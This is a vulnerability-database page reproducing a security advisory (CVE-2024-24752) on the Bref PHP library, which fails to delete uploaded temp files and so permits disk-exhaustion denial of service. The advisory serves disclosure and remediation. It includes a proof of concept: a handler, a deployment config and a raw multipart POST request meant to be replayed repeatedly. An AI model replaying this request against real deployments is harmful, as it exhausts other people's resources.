GHSA-X4HH-FRX8-98R5

Vulnerability from github – Published: 2024-02-01 20:53 – Updated: 2024-10-17 19:47
VLAI?
Summary
Bref's Uploaded Files Not Deleted in Event-Driven Functions
Details

Impacted Resources

bref/src/Event/Http/Psr7Bridge.php:94-125

Description

When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface, then the Lambda event is converted to a PSR7 object. During the conversion process, if the request is a MultiPart, each part is parsed and for each which contains a file, it is extracted and saved in /tmp with a random filename starting with bref_upload_.

The function implementing the logic follows:

private static function parseBodyAndUploadedFiles(HttpRequestEvent $event): array
{
    $bodyString = $event->getBody();
    $files = [];
    $parsedBody = null;
    $contentType = $event->getContentType();
    if ($contentType !== null && $event->getMethod() === 'POST') {
        if (str_starts_with($contentType, 'application/x-www-form-urlencoded')) {
            parse_str($bodyString, $parsedBody);
        } else {
            $document = new Part("Content-type: $contentType\r\n\r\n" . $bodyString);
            if ($document->isMultiPart()) {
                $parsedBody = [];
                foreach ($document->getParts() as $part) {
                    if ($part->isFile()) {
                        $tmpPath = tempnam(sys_get_temp_dir(), 'bref_upload_');
                        if ($tmpPath === false) {
                            throw new RuntimeException('Unable to create a temporary directory');
                        }
                        file_put_contents($tmpPath, $part->getBody());
                        $file = new UploadedFile($tmpPath, filesize($tmpPath), UPLOAD_ERR_OK, $part->getFileName(), $part->getMimeType());

                        self::parseKeyAndInsertValueInArray($files, $part->getName(), $file);
                    } else {
                        self::parseKeyAndInsertValueInArray($parsedBody, $part->getName(), $part->getBody());
                    }
                }
            }
        }
    }
    return [$files, $parsedBody];
}

The flow mimics what plain PHP does but it does not delete the temporary files when the request has been processed.

Impact

An attacker could fill the Lambda instance disk by performing multiple MultiPart requests containing files. The attack has the following requirements and limitations: - The Lambda should use the Event-Driven Function runtime. - The Lambda should use the RequestHandlerInterface handler. - The Lambda should implement at least an endpoint accepting POST requests. - The attacker can send requests up to 6MB long, so multiple requests are required to fill the disk (the default Lambda disk size is 512MB, therefore with less than 100 requests the disk could be filled).

PoC

  1. Create a new Bref project.
  2. Create an index.php file with the following content:
<?php

namespace App;

require __DIR__ . '/vendor/autoload.php';

use Nyholm\Psr7\Response;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;

class MyHttpHandler implements RequestHandlerInterface
{
    public function handle(ServerRequestInterface $request): ResponseInterface
    {
        return new Response(200, [], exec("ls -lah /tmp/bref_upload* | wc -l"));
    }
}

return new MyHttpHandler();

  1. Use the following serverless.yml to deploy the Lambda:
service: app

provider:
    name: aws
    region: eu-central-1

plugins:
    - ./vendor/bref/bref

# Exclude files from deployment
package:
    patterns:
        - '!node_modules/**'
        - '!tests/**'

functions:
    api:
        handler: index.php
        runtime: php-83
        events:
            - httpApi: 'ANY /upload'
  1. Replay the following request multiple times after having replaced the <HOST> placeholder with the deployed Lambda domain:
POST /upload HTTP/2
Host: <HOST>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQqDeSZSSvmn2rfjb
Content-Length: 180

------WebKitFormBoundaryQqDeSZSSvmn2rfjb
Content-Disposition: form-data; name="a"; filename="a.txt"
Content-Type: text/plain

test
------WebKitFormBoundaryQqDeSZSSvmn2rfjb--
  1. Notice that each time the request is sent the number of the uploaded temporary files on the disk increases.

Suggested Remediation

Delete the temporary files after the request has been processed and the response have been generated.

References

  • https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bref/bref"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-24752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-01T20:53:03Z",
    "nvd_published_at": "2024-02-01T16:17:14Z",
    "severity": "MODERATE"
  },
  "details": "## Impacted Resources\n\nbref/src/Event/Http/Psr7Bridge.php:94-125\n\n## Description\n\nWhen Bref is used with the Event-Driven Function runtime and the handler is a `RequestHandlerInterface`, then the Lambda event is converted to a PSR7 object.\nDuring the conversion process, if the request is a MultiPart, each part is parsed and for each which contains a file, it is extracted and saved in `/tmp` with a random filename starting with `bref_upload_`.\n\nThe function implementing the logic follows:\n\n```php\nprivate static function parseBodyAndUploadedFiles(HttpRequestEvent $event): array\n{\n    $bodyString = $event-\u003egetBody();\n    $files = [];\n    $parsedBody = null;\n    $contentType = $event-\u003egetContentType();\n    if ($contentType !== null \u0026\u0026 $event-\u003egetMethod() === \u0027POST\u0027) {\n        if (str_starts_with($contentType, \u0027application/x-www-form-urlencoded\u0027)) {\n            parse_str($bodyString, $parsedBody);\n        } else {\n            $document = new Part(\"Content-type: $contentType\\r\\n\\r\\n\" . $bodyString);\n            if ($document-\u003eisMultiPart()) {\n                $parsedBody = [];\n                foreach ($document-\u003egetParts() as $part) {\n                    if ($part-\u003eisFile()) {\n                        $tmpPath = tempnam(sys_get_temp_dir(), \u0027bref_upload_\u0027);\n                        if ($tmpPath === false) {\n                            throw new RuntimeException(\u0027Unable to create a temporary directory\u0027);\n                        }\n                        file_put_contents($tmpPath, $part-\u003egetBody());\n                        $file = new UploadedFile($tmpPath, filesize($tmpPath), UPLOAD_ERR_OK, $part-\u003egetFileName(), $part-\u003egetMimeType());\n\n                        self::parseKeyAndInsertValueInArray($files, $part-\u003egetName(), $file);\n                    } else {\n                        self::parseKeyAndInsertValueInArray($parsedBody, $part-\u003egetName(), $part-\u003egetBody());\n                    }\n                }\n            }\n        }\n    }\n    return [$files, $parsedBody];\n}\n```\n\nThe flow mimics what plain PHP does but it does not delete the temporary files when the request has been processed.\n\n## Impact\n\nAn attacker could fill the Lambda instance disk by performing multiple MultiPart requests containing files.\nThe attack has the following requirements and limitations:\n- The Lambda should use the Event-Driven Function runtime.\n- The Lambda should use the `RequestHandlerInterface` handler.\n- The Lambda should implement at least an endpoint accepting POST requests.\n- The attacker can send requests up to 6MB long, so multiple requests are required to fill the disk (the default Lambda disk size is 512MB, therefore with less than 100 requests the disk could be filled).\n\n## PoC\n\n1. Create a new Bref project.\n2. Create an `index.php` file with the following content:\n```php\n\u003c?php\n\nnamespace App;\n\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\nuse Nyholm\\Psr7\\Response;\nuse Psr\\Http\\Message\\ResponseInterface;\nuse Psr\\Http\\Message\\ServerRequestInterface;\nuse Psr\\Http\\Server\\RequestHandlerInterface;\n\nclass MyHttpHandler implements RequestHandlerInterface\n{\n    public function handle(ServerRequestInterface $request): ResponseInterface\n    {\n        return new Response(200, [], exec(\"ls -lah /tmp/bref_upload* | wc -l\"));\n    }\n}\n\nreturn new MyHttpHandler();\n\n```\n3. Use the following `serverless.yml` to deploy the Lambda:\n```yaml\nservice: app\n\nprovider:\n    name: aws\n    region: eu-central-1\n\nplugins:\n    - ./vendor/bref/bref\n\n# Exclude files from deployment\npackage:\n    patterns:\n        - \u0027!node_modules/**\u0027\n        - \u0027!tests/**\u0027\n\nfunctions:\n    api:\n        handler: index.php\n        runtime: php-83\n        events:\n            - httpApi: \u0027ANY /upload\u0027\n```\n4. Replay the following request multiple times after having replaced the `\u003cHOST\u003e` placeholder with the deployed Lambda domain:\n```\nPOST /upload HTTP/2\nHost: \u003cHOST\u003e\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryQqDeSZSSvmn2rfjb\nContent-Length: 180\n\n------WebKitFormBoundaryQqDeSZSSvmn2rfjb\nContent-Disposition: form-data; name=\"a\"; filename=\"a.txt\"\nContent-Type: text/plain\n\ntest\n------WebKitFormBoundaryQqDeSZSSvmn2rfjb--\n```\n5. Notice that each time the request is sent the number of the uploaded temporary files on the disk increases.\n\n## Suggested Remediation\n\nDelete the temporary files after the request has been processed and the response have been generated.\n\n## References\n\n- https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html",
  "id": "GHSA-x4hh-frx8-98r5",
  "modified": "2024-10-17T19:47:24Z",
  "published": "2024-02-01T20:53:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/brefphp/bref/security/advisories/GHSA-x4hh-frx8-98r5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24752"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brefphp/bref/commit/350788de12880b6fd64c4c318ba995388bec840e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/brefphp/bref"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brefphp/bref/blob/2.1.12/src/Event/Http/Psr7Bridge.php#L94-L125"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bref\u0027s Uploaded Files Not Deleted in Event-Driven Functions"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…